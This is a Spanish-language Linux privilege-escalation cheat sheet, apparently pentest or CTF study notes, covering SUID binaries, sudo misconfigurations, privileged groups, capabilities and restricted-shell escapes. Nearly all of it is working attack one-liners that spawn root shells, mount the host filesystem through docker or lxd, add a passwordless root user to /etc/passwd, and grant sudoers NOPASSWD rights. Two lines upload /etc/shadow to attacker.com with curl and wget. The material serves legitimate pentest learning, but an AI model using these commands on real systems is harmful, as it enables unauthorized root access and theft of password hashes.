Escalación de Privilegios - Permisos SUID, Capabilities y Grupos Privilegiados
SUID (Set User ID)
¿Qué es? Binario que se ejecuta con permisos del propietario (usualmente root), no del usuario que lo ejecuta.
Identificar:
# Buscar archivos SUID
find / -perm -4000 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
# Ls muestra SUID con "s" en permisos:
# -rwsr-xr-x root root /usr/bin/sudo
# ^-- este "s" indica SUIDExplotar:
# 1. Encontrar binario SUID
find / -perm -4000 2>/dev/null | grep -E "bash|sh|cat|cp|chmod|chown"
# 2. Si es binario común (cat, cp, ls), intenta ruta relativa
# 3. Si es binario específico, buscar en GTFOBins
# Ejemplo: /usr/bin/find SUID
/usr/bin/find . -exec /bin/sh -p \;
# Ejemplo: /usr/bin/apt SUID
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# Ejemplo: /usr/bin/sed SUID
sed -e 's/^/id > \/tmp\/flag/' /etc/passwd
# Ejemplo: /usr/bin/perl SUID
perl -e 'exec "/bin/sh"'SGID (Set Group ID)
¿Qué es? Archivo que se ejecuta con permisos del grupo propietario.
Identificar:
find / -perm -2000 2>/dev/null
find / -perm -6000 2>/dev/null # SUID + SGID
# Ls muestra SGID con "s" en grupo:
# -rwxr-sr-x root tty /usr/bin/tty
# ^-- este "s" indica SGIDSticky Bit
¿Qué es? En directorios, solo el propietario puede borrar archivos.
Identificar:
find / -perm -1000 2>/dev/null
# Ls muestra sticky bit con "t":
# drwxrwxrwt root root /tmp
# ^-- "t" indica sticky bitGTFOBins - Binarios que Pueden Escalar Privilegios
Sitio: https://gtfobins.github.io
apt / apt-get
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/shbash
bash -p
bash -p -icat
cat /etc/shadowchmod
chmod u+s /bin/bash
/bin/bash -pchown
chown root:root /tmp/shellcp
cp /bin/bash /tmp/bash
cp /etc/shadow /tmp/shadowcurl
curl file:///etc/passwd
curl -F file=@/etc/shadow http://attacker.com/uploaddd
dd if=/etc/shadow of=/tmp/shadowdocker
docker run -v /:/host -it alpine chroot /host /bin/bashenv
env -i HOME=$HOME /bin/bash -pfind
find . -exec /bin/sh -p \;
find . -exec /bin/bash -p \;
find . -type f -exec chmod u+s {} \;git
git help config
!/bin/shgrep
grep -r password /rootless / more
less /etc/shadow
!/bin/shls
ls -la /rootman
man ls
!/bin/shnano / vim / vi
nano /etc/shadow
# En editor: Ctrl+R Ctrl+X
# Escribir: /bin/sh
# Ejecutar
vim /etc/shadow
:!bash
:e /etc/shadownmap
# Versión vieja con modo interactivo
nmap --interactive
nmap> !shopenssl
openssl enc -in /etc/shadowperl
perl -e 'exec "/bin/sh"'
perl -e 'system "/bin/bash"'php
php -r 'system("/bin/bash");'python / python3
python -c 'import os; os.system("/bin/bash")'
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'ruby
ruby -e 'system("/bin/bash")'sed
sed -e 's/^/exec \/bin\/sh/' /etc/passwd
sed -e 's/^/id/' /etc/passwdsh / bash
/bin/sh -p
/bin/bash -psort
sort /etc/shadowsqlite3
sqlite3
sqlite> .system /bin/shssh-keygen
ssh-keygen -D /lib64/libc.so.6sudo
# Si tienes permisos limitados
sudo -l
# User usuario may run: /usr/bin/find
# Entonces:
sudo /usr/bin/find . -exec /bin/sh \;tee
echo 'usuario ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/usuariotmux / screen
tmux new -s session
# Luego desde otra sesión:
tmux attach -t sessionunzip
unzip -l /tmp/archive.zipvi / vim
:set shell=/bin/bash
:shellwget
wget --post-file=/etc/shadow http://attacker.com/
wget -O- file:///etc/passwdwhois
whois
> !shSudo Rights Abuse
Ver qué puedes ejecutar como sudo:
sudo -lEjemplo vulnerables:
Perismo sudo en gcc
sudo gcc -wrapper /bin/sh,-s /dev/nullSudo sin contraseña
# Si output muestra:
# (root) NOPASSWD: /usr/bin/find
# Entonces ejecuta directamente:
sudo /usr/bin/find . -exec /bin/sh \;Sudo con comando específico
# Si tienes:
# (root) /usr/bin/python3
# Buscar en GTFOBins qué puedes hacer con python3
sudo python3 -c 'import os; os.system("/bin/bash")'Sudo con comodín
# Si tienes:
# (root) /usr/bin/apt-get *
# Entonces cualquier comando después de apt-get:
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/shSudo con ALL
# Si tienes:
# (root) ALL
# Acceso total sin restricciones
sudo -i
sudo su
sudo /bin/bashPrivileged Groups
Grupo sudo
# Verificar si estás en el grupo
id | grep sudo
# Si sí, normalmente tienes acceso a comandos específicos
sudo -lGrupo admin (Debian/Ubuntu)
id | grep adminGrupo wheel (RedHat/CentOS)
id | grep wheelGrupo adm (Log readers)
id | grep adm
# Puedes leer logs sensibles
cat /var/log/auth.log
grep "password" /var/log/auth.logGrupo docker
CRÍTICO - Escalada a root:
# Si estás en el grupo docker
id | grep docker
# Entonces puedes crear contenedor con acceso a root filesystem
docker run -v /:/host -it alpine chroot /host /bin/bash
# O más directo:
docker run --rm -it -v /:/host ubuntu chroot /host /bin/bash
# O montar socket de docker:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bashGrupo lxd / lxc
Escalada a root en contenedores:
id | grep lxd
# Descargar imagen Alpine
wget https://github.com/saghul/lxd-alpine-builder/releases/download/v0.3/alpine-v3.13-x86_64-20210218_0139.tar.gz
# O crear:
lxc image import alpine-*.tar.gz --alias alpine
lxc init alpine container -c security.privileged=true
lxc config device add container root disk source=/ path=/host
lxc start container
lxc exec container -- /bin/bash
# Ahora estás en /host como rootGrupo disk
id | grep disk
# Acceso directo a discos:
fdisk -l
dd if=/dev/sda1 of=/tmp/backup.imgGrupo video
id | grep video
# Acceso a framebuffer
cat /dev/fb0Grupo audio
id | grep audioGrupo cdrom
id | grep cdromCapabilities
¿Qué son? Permisos granulares que se asignan a binarios específicos para darles poderes administrativos puntuales, sin necesidad de SUID completo ni de correr como root. Por ejemplo, en vez de darle todos los privilegios de root a ping, solo se le da cap_net_raw para que pueda abrir sockets de red.
Diferencia con SUID:
- SUID → el binario corre con el UID del dueño del archivo (normalmente root). Es todo o nada.
- Capabilities → el binario recibe solo el permiso específico que necesita. Más granular.
- Ambos son peligrosos si están mal configurados — un binario con
cap_setuides tan peligroso como uno con SUID.
Buscar capabilities
# Con ruta completa — getcap está en /usr/sbin que no siempre está en el PATH de usuarios normales
/usr/sbin/getcap -r / 2>/dev/null
# Si no sabes dónde está getcap
find / -name "getcap" 2>/dev/null
# Una vez que lo encuentras, úsalo con ruta completa
/usr/sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null
# Listar capability de un binario específico
/usr/sbin/getcap /usr/bin/python3
/usr/sbin/getcap /usr/bin/perl
/usr/sbin/getcap /usr/bin/rubyPor qué
getcapsin ruta falla para usuarios normales: los binarios en/sbin/y/usr/sbin/no están en el PATH por defecto de usuarios sin privilegios — son directorios pensados para administración del sistema. El binario existe pero el shell no lo encuentra sin la ruta completa.
Leer el output:
/usr/bin/perl = cap_setuid+ep
# ^^^^^^^^^^ capability asignada
# ^ e = effective (activa al ejecutar el binario)
# ^ p = permitted (el binario puede usarla)
#
# Si solo tiene +p sin +e → no se activa automáticamente, menos peligroso
# Si tiene +ep → activa y permitida → explotable directamenteCapabilities peligrosas
# cap_setuid → puede cambiar su UID a 0 (root) — la más crítica para privesc
# cap_setgid → puede cambiar su GID a cualquier grupo
# cap_dac_override → ignora los permisos de lectura/escritura/ejecución de archivos
# cap_sys_admin → equivalente casi completo a root — montaje, namespaces, etc
# cap_sys_chroot → puede llamar a chroot() — útil para escapar jaulas
# cap_net_raw → acceso directo a paquetes de red — captura tráfico
# cap_net_bind_service → puede bindear puertos por debajo de 1024 sin ser rootExplotar capabilities
cap_setuid con python3:
# Verifica primero
/usr/sbin/getcap /usr/bin/python3
# Explotar
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'cap_setuid con perl:
# Verifica primero
/usr/sbin/getcap /usr/bin/perl
# Explotar — forma correcta con POSIX
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# Forma alternativa
/usr/bin/perl -e 'use POSIX; setuid(0); exec "/bin/bash";'cap_setuid con ruby:
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'cap_setuid con php:
/usr/bin/php -r "posix_setuid(0); system('/bin/bash');"cap_dac_override con python3 — leer /etc/shadow directamente:
# Si no puedes ejecutar bash como root pero puedes leer cualquier archivo
/usr/bin/python3 -c 'print(open("/etc/shadow").read())'
# O escribir tu propia entrada en /etc/passwd
/usr/bin/python3 -c '
data = open("/etc/passwd").read()
data += "hacker::0:0::/root:/bin/bash\n"
open("/etc/passwd","w").write(data)
'
su hackercap_net_raw — capturar tráfico de red:
# El binario puede capturar aunque no seas root
tcpdump -i <INTERFAZ> -w /tmp/captura.pcapVerificar que funcionó
whoami # debe decir root
id # uid=0(root)Agregar capabilities (como root — para simular el lab)
# Copiar bash a /tmp y darle cap_setuid
cp /bin/bash /tmp/bash
setcap cap_setuid+ep /tmp/bash
# Usar
/tmp/bash -p
# Verificar que la tiene
/usr/sbin/getcap /tmp/bash
# Quitar la capability
setcap -r /tmp/bashGTFOBins para capabilities
Cuando encuentras un binario con capability peligrosa, búscalo en:
https://gtfobins.github.io/Filtra por Capabilities en la barra lateral — cada binario tiene su sección específica con el one-liner exacto.
Escaping Restricted Shells
¿Qué es un restricted shell? Un shell con comandos limitados — no puedes ejecutar binarios con ruta absoluta, no puedes cambiar variables de entorno como PATH, no puedes redirigir output, y ciertos comandos están bloqueados. Los más comunes son rbash (restricted bash) y jailkit.
Cómo saber si estás en uno:
echo $SHELL # puede decir rbash o jsh
echo $PATH # PATH muy limitado, ej: /home/usuario/bin
cd /tmp # puede dar error "cd: restricted"
/bin/bash # puede dar error "command not found" o "restricted"Intentar escapar directamente
# Cambiar de shell — a veces simplemente funciona
bash
sh
/bin/bash
/bin/sh
dash
zsh
kshEscapar con binarios disponibles
# python
/usr/bin/python3 -c 'import os; os.system("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# perl
perl -e 'system("/bin/bash")'
perl -e 'exec "/bin/bash"'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
# ruby
ruby -e 'system("/bin/bash")'
ruby -e 'exec "/bin/bash"'
# php
php -r 'system("/bin/bash");'
php -r 'exec("/bin/bash");'
# awk
awk 'BEGIN {system("/bin/bash")}'
# find
find / -name "*.txt" -exec /bin/bash \; -quit
# vim — si está disponible
vim -c ':!/bin/bash'
vim -c ':set shell=/bin/bash' -c ':shell'
# less o man — desde dentro del pager
# escribe: !/bin/bash
# nmap (versiones antiguas)
nmap --interactive
# luego: !sh
# ed
ed
!/bin/bashEscapar manipulando variables de entorno
# Si puedes modificar PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Si puedes modificar SHELL
export SHELL=/bin/bash
# Si puedes modificar HOME (algunos rbash leen configuración de HOME)
export HOME=/tmp
bashEscapar con redirección y subshells
# Subshell con $()
$(echo /bin/bash)
$(/bin/sh)
# Redirección — si el rbash bloquea > pero no |
echo "id" | bash
# Comandos encadenados
python3 -c 'import subprocess; subprocess.call(["/bin/bash"])'
# Usando ed
echo '!/bin/sh' | edEscapar desde SSH
# Al conectar, forzar la shell antes de que rbash cargue
ssh <USER>@<TARGET> -t "/bin/bash"
ssh <USER>@<TARGET> -t "bash --noprofile"
ssh <USER>@<TARGET> "bash --norc"
# O con pseudoterminal
ssh <USER>@<TARGET> -t bashMejorar la shell una vez escapado
# Obtener una TTY completa
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Luego en background: Ctrl+Z
stty raw -echo; fg
# Ajustar tamaño del terminal
export TERM=xterm
stty rows 50 columns 200Tabla resumen — qué probar primero
| Situación | Qué probar primero |
|---|---|
| rbash genérico | bash, luego python3 -c 'import os; os.system("/bin/bash")' |
| SSH con rbash | ssh user@target -t bash al conectar |
| Solo tienes vim | :!/bin/bash desde dentro |
| Solo tienes awk | awk 'BEGIN {system("/bin/bash")}' |
| PATH muy limitado | export PATH=... con rutas completas |
| Todo bloqueado | Busca el binario en GTFOBins → sección "Shell" |